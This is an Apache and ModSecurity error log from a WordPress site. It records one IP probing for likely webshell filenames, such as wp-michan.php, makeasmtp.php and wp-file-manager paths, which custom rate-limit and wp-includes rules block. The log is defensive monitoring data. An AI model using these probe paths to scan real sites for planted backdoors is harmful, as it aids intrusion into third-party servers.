[Sun Apr 19 19:15:02.305587 2026] [:error] [pid 15763:tid 15808] [client 68.221.129.115:3203] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeS5NrMXv1Y1THOoxaDWKgAAAgw"]
[Sun Apr 19 19:15:03.287687 2026] [:error] [pid 15763:tid 15809] [client 68.221.129.115:3993] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeS5N7MXv1Y1THOoxaDWKwAAAg0"]
[Sun Apr 19 19:15:04.123521 2026] [:error] [pid 47886:tid 47912] [client 68.221.129.115:57746] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeS5OESe8yiyuPrD7yNlAwAAANg"]
[Sun Apr 19 19:15:04.729970 2026] [:error] [pid 15694:tid 15736] [client 68.221.129.115:52985] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeS5OLimB-jol1fwqAr_rAAAAYo"]
[Sun Apr 19 19:15:05.350532 2026] [:error] [pid 47775:tid 47866] [client 68.221.129.115:3253] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeS5Obmztjlk9tsmoewANwAAAJc"]
[Sun Apr 19 19:15:06.019428 2026] [:error] [pid 47775:tid 47865] [client 68.221.129.115:50103] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeS5Ormztjlk9tsmoewAOAAAAJY"]
[Sun Apr 19 19:15:06.592474 2026] [:error] [pid 47772:tid 47793] [client 68.221.129.115:4022] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeS5Ooc0L16cb4smAz-TjAAAAAQ"]
[Sun Apr 19 19:15:07.166952 2026] [:error] [pid 47772:tid 47804] [client 68.221.129.115:3984] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeS5O4c0L16cb4smAz-TjwAAAA8"]
[Sun Apr 19 19:15:07.715965 2026] [:error] [pid 47775:tid 47864] [client 68.221.129.115:33808] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeS5O7mztjlk9tsmoewAPAAAAJU"]
[Sun Apr 19 19:15:08.311831 2026] [:error] [pid 47775:tid 47863] [client 68.221.129.115:36458] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeS5PLmztjlk9tsmoewAPgAAAJQ"]
[Sun Apr 19 19:15:08.945176 2026] [:error] [pid 47886:tid 47910] [client 68.221.129.115:50069] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeS5PESe8yiyuPrD7yNlFgAAANY"]
[Sun Apr 19 19:15:09.486133 2026] [:error] [pid 15765:tid 15869] [client 68.221.129.115:40692] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeS5PfRqinw-W5EwQ77q2wAAApA"]
[Sun Apr 19 19:15:10.002419 2026] [:error] [pid 15760:tid 15771] [client 68.221.129.115:38365] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aeS5PvSdD_XHQMJ_ISvoVwAAAcM"]
[Sun Apr 19 19:15:10.712789 2026] [:error] [pid 15764:tid 15851] [client 68.221.129.115:38342] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeS5PmLL_sqdSHoVp-ThigAAAlg"]
[Sun Apr 19 19:15:11.413474 2026] [:error] [pid 15764:tid 15836] [client 68.221.129.115:30632] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeS5P2LL_sqdSHoVp-ThjwAAAko"]
[Sun Apr 19 19:15:12.023222 2026] [autoindex:error] [pid 15764:tid 15843] [client 68.221.129.115:36467] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 19:15:17.788913 2026] [autoindex:error] [pid 15764:tid 15840] [client 68.221.129.115:36467] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 19:15:53.444774 2026] [:error] [pid 15764:tid 15827] [client 68.221.129.115:36467] [client 68.221.129.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeS5aWLL_sqdSHoVp-Th7AAAAkE"]
[Sun Apr 19 19:15:57.842023 2026] [:error] [pid 15764:tid 15829] [client 68.221.129.115:32954] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeS5bWLL_sqdSHoVp-Th7wAAAkM"]
[Sun Apr 19 19:15:58.779043 2026] [:error] [pid 47775:tid 47846] [client 68.221.129.115:45402] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeS5brmztjlk9tsmoewAXAAAAIM"]
[Sun Apr 19 19:16:00.809103 2026] [:error] [pid 47773:tid 47839] [client 68.221.129.115:43072] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeS5cOiBHdnCJDuPq9AocgAAAFc"]
[Sun Apr 19 19:16:03.621366 2026] [:error] [pid 47886:tid 47906] [client 68.221.129.115:3120] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeS5c0Se8yiyuPrD7yNlPwAAANI"]
[Sun Apr 19 19:16:07.501132 2026] [:error] [pid 15763:tid 15799] [client 68.221.129.115:35728] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeS5d7MXv1Y1THOoxaDWawAAAgM"]
[Sun Apr 19 19:16:09.111656 2026] [:error] [pid 15763:tid 15803] [client 68.221.129.115:38909] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeS5ebMXv1Y1THOoxaDWcAAAAgc"]
[Sun Apr 19 19:16:11.123270 2026] [:error] [pid 47775:tid 47846] [client 68.221.129.115:60946] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeS5e7mztjlk9tsmoewAbgAAAIM"]
[Sun Apr 19 19:16:13.662062 2026] [:error] [pid 47775:tid 47858] [client 68.221.129.115:60946] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeS5fbmztjlk9tsmoewAcQAAAI8"]
[Sun Apr 19 19:16:14.652717 2026] [:error] [pid 15764:tid 15851] [client 68.221.129.115:36354] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeS5fmLL_sqdSHoVp-Th9QAAAlg"]
[Sun Apr 19 19:16:15.922195 2026] [:error] [pid 15765:tid 15859] [client 68.221.129.115:43068] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeS5f_Rqinw-W5EwQ77rIQAAAoY"]
[Sun Apr 19 19:16:16.796849 2026] [:error] [pid 47773:tid 47833] [client 68.221.129.115:43044] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeS5gOiBHdnCJDuPq9AofAAAAFE"]
[Sun Apr 19 19:16:18.286777 2026] [:error] [pid 15764:tid 15846] [client 68.221.129.115:35779] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeS5gmLL_sqdSHoVp-Th-gAAAlQ"]
[Sun Apr 19 19:16:19.638943 2026] [:error] [pid 15764:tid 15837] [client 68.221.129.115:60983] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aeS5g2LL_sqdSHoVp-TiAQAAAks"]
[Sun Apr 19 19:16:20.400343 2026] [:error] [pid 47775:tid 47846] [client 68.221.129.115:36374] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aeS5hLmztjlk9tsmoewAdgAAAIM"]
[Sun Apr 19 19:16:21.389686 2026] [:error] [pid 47773:tid 47839] [client 68.221.129.115:35053] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aeS5heiBHdnCJDuPq9AogAAAAFc"]
[Sun Apr 19 19:16:22.097076 2026] [:error] [pid 47772:tid 47800] [client 68.221.129.115:35787] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aeS5hoc0L16cb4smAz-UBAAAAAs"]
[Sun Apr 19 19:16:22.785151 2026] [:error] [pid 15764:tid 15829] [client 68.221.129.115:3683] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aeS5hmLL_sqdSHoVp-TiCAAAAkM"]
[Sun Apr 19 19:16:24.105952 2026] [:error] [pid 47773:tid 47826] [client 68.221.129.115:60301] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aeS5iOiBHdnCJDuPq9AohAAAAEo"]
[Sun Apr 19 19:16:25.121316 2026] [:error] [pid 47773:tid 47830] [client 68.221.129.115:35827] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aeS5ieiBHdnCJDuPq9AojAAAAE4"]
[Sun Apr 19 19:16:26.945155 2026] [:error] [pid 15764:tid 15834] [client 68.221.129.115:32976] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aeS5imLL_sqdSHoVp-TiGAAAAkg"]
[Sun Apr 19 19:16:28.163836 2026] [:error] [pid 47886:tid 47899] [client 68.221.129.115:32983] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeS5jESe8yiyuPrD7yNlSQAAAMs"]
[Sun Apr 19 19:16:28.733620 2026] [:error] [pid 47775:tid 47858] [client 68.221.129.115:60930] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeS5jLmztjlk9tsmoewAeAAAAI8"]
[Sun Apr 19 19:16:29.628398 2026] [:error] [pid 47775:tid 47851] [client 68.221.129.115:34497] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeS5jbmztjlk9tsmoewAfAAAAIg"]
[Sun Apr 19 19:16:30.418404 2026] [:error] [pid 47773:tid 47831] [client 68.221.129.115:43059] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeS5juiBHdnCJDuPq9AojwAAAE8"]
[Sun Apr 19 19:16:31.489958 2026] [:error] [pid 15760:tid 15781] [client 68.221.129.115:33019] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeS5j_SdD_XHQMJ_ISvowwAAAc0"]
[Sun Apr 19 19:16:32.448613 2026] [:error] [pid 47886:tid 47900] [client 68.221.129.115:35813] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeS5kESe8yiyuPrD7yNlTQAAAMw"]
[Sun Apr 19 19:16:33.065352 2026] [:error] [pid 15765:tid 15862] [client 68.221.129.115:60980] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeS5kfRqinw-W5EwQ77rJwAAAok"]
[Sun Apr 19 19:16:33.654189 2026] [:error] [pid 15764:tid 15827] [client 68.221.129.115:35049] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeS5kWLL_sqdSHoVp-TiGgAAAkE"]
[Sun Apr 19 19:16:34.841092 2026] [:error] [pid 15694:tid 15730] [client 68.221.129.115:35049] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeS5krimB-jol1fwqAr_8AAAAYQ"]
[Sun Apr 19 19:16:35.739831 2026] [:error] [pid 15694:tid 15737] [client 68.221.129.115:43017] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeS5k7imB-jol1fwqAr_8gAAAYs"]
[Sun Apr 19 19:16:37.043897 2026] [:error] [pid 15763:tid 15796] [client 68.221.129.115:35836] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeS5lbMXv1Y1THOoxaDWjgAAAgA"]
[Sun Apr 19 19:16:37.752133 2026] [:error] [pid 15763:tid 15802] [client 68.221.129.115:44198] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeS5lbMXv1Y1THOoxaDWkQAAAgY"]
[Sun Apr 19 19:16:38.694471 2026] [:error] [pid 47772:tid 47805] [client 68.221.129.115:43065] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeS5loc0L16cb4smAz-UFQAAABA"]
[Sun Apr 19 19:16:39.866352 2026] [:error] [pid 47886:tid 47904] [client 68.221.129.115:44221] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeS5l0Se8yiyuPrD7yNlVQAAANA"]
[Sun Apr 19 19:16:40.491901 2026] [:error] [pid 15693:tid 15713] [client 68.221.129.115:60938] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeS5mMNMD-ccazQlTslOQAAAAVE"]
[Sun Apr 19 19:16:41.136904 2026] [:error] [pid 15763:tid 15800] [client 68.221.129.115:35742] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeS5mbMXv1Y1THOoxaDWmAAAAgQ"]
[Sun Apr 19 19:16:42.107426 2026] [:error] [pid 47775:tid 47856] [client 68.221.129.115:60960] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeS5mrmztjlk9tsmoewAfgAAAI0"]
[Sun Apr 19 19:16:42.932010 2026] [:error] [pid 47773:tid 47834] [client 68.221.129.115:44832] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeS5muiBHdnCJDuPq9AokwAAAFI"]
